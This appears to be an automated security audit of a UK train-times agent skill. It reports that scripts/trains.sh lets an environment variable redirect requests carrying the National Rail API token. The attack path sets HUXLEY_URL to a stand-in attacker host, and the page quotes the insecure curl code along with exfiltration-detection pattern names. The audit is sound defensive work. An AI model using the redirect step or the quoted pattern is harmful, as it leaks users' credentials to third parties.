Back to skill

Security audit

UK Trains

Security checks for vulnerabilities and agentic risk

Overview

This train-times skill has a legitimate purpose, but one included helper script can send the National Rail token to an environment-selected endpoint.

Review this before installing. The Python command path appears purpose-aligned, but avoid using scripts/trains.sh unless you trust and control the HUXLEY_URL environment; rotate the National Rail token if it may have been used with an untrusted endpoint. Prefer a version that removes the endpoint override or validates it against trusted HTTPS origins and avoids putting tokens in URLs.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/trains.sh:7
Finding
Arbitrary Huxley2 Endpoint Override Can Disclose the National Rail API Token<![CDATA[ ## Vulnerability Details **File Location**: `scripts/trains.sh`, lines 7–8 and 51–64 **Vulnerability Type**: Unrestricted outbound destination with credential exposure **Risk Level**: Medium ### Vulnerable Code ```bash HUXLEY_BASE="${HUXLEY_URL:-https://huxley2.azurewebsites.net}" TOKEN="${NATIONAL_RAIL_TOKEN:-}" ``` ```bash api_call() { local endpoint="$1" local url="${HUXLEY_BASE}${endpoint}" # Add token if [[ "$url" == *"?"* ]]; then url="${url}&accessToken=${TOKEN}" else url="${url}?accessToken=${TOKEN}" fi curl -sS "$url" | jq '.' } ``` ### Technical Analysis The script permits the API origin to be replaced through the unrestricted `HUXLEY_URL` environment variable. Authenticated operations then append `NATIONAL_RAIL_TOKEN` to the resulting URL and send the request with `curl`. Because the override is not validated against a trusted-origin allowlist, a party able to influence the process environment can redirect authenticated requests to an attacker-controlled server. The server would receive the National Rail token in the query string. Putting the token in a URL also unnecessarily exposes it to request logs, monitoring systems, proxy logs, and potentially local process inspection. This exceeds minimum privilege because live railway queries require disclosure only to an explicitly trusted API service, not to an arbitrary environment-selected host. ### Attack Path 1. The attacker obtains the ability to influence the environment used to launch the Skill, such as through deployment configuration, a wrapper process, or compromised runtime configuration. 2. The attacker sets `HUXLEY_URL` to an HTTPS endpoint under their control: ```bash export HUXLEY_URL="https://attacker.example" ``` 3. A user or Agent invokes an authenticated command: ```bash ./scripts/trains.sh departures PAD ``` 4. `api_call` constructs a URL resembling: ```text https://attacker.example/departur ...[truncated 907 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the `HUXLEY_URL` override if custom endpoints are not essential to the declared functionality. 2. If configurability is required, parse and normalize the URL and enforce an exact allowlist of approved HTTPS origins. Reject user information, fragments, unexpected ports, non-HTTPS schemes, redirects to untrusted origins, and hostname suffix tricks. 3. Prefer the fixed official National Rail HTTPS endpoint used by `scripts/trains.py`, where the token is placed in the SOAP request header rather than in a URL query string. 4. If Huxley2 must be used, confirm that the trusted service supports credential transmission in an authorization header or request body and migrate away from query-string tokens. 5. Configure `curl` to fail securely and constrain redirects. For example, do not enable cross-origin redirects for authenticated requests; if redirects are needed, verify every destination before forwarding credentials. 6. Document which third-party service receives the token and obtain explicit user consent before transmitting credentials to that service. 7. Rotate any token that may have been used with an untrusted `HUXLEY_URL`, and review API usage and relevant logs for unauthorized activity. ]]>
Vulnerability Patterns
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (3)

Tainted flow: 'req' from os.environ.get (line 39, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
)
    
    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            return resp.read().decode('utf-8')
    except HTTPError as e:
        print(json.dumps({'error': f'HTTP {e.code}: {e.reason}'}), file=sys.stderr)
Confidence
90% confidence
Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Tp4

High
Category
MCP Tool Poisoning
Confidence
90% confidence
Finding
The skill description claims behavior that does not match the detected implementation, including using a different API path and overstating station-search coverage. Description-behavior mismatches are dangerous because they undermine trust, impair review, and can hide undeclared data flows or unsupported edge cases that operators and users rely on when granting access or making decisions.

Lp3

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding
The skill appears to require environment access, network access, and shell execution, but it does not declare any explicit tool scope or permissions. That makes the skill's operational privileges opaque to the host and reviewers, increasing the risk of over-broad execution, accidental secret exposure, or unintended command/network use beyond the stated train-query purpose.

Static analysis

No suspicious patterns detected.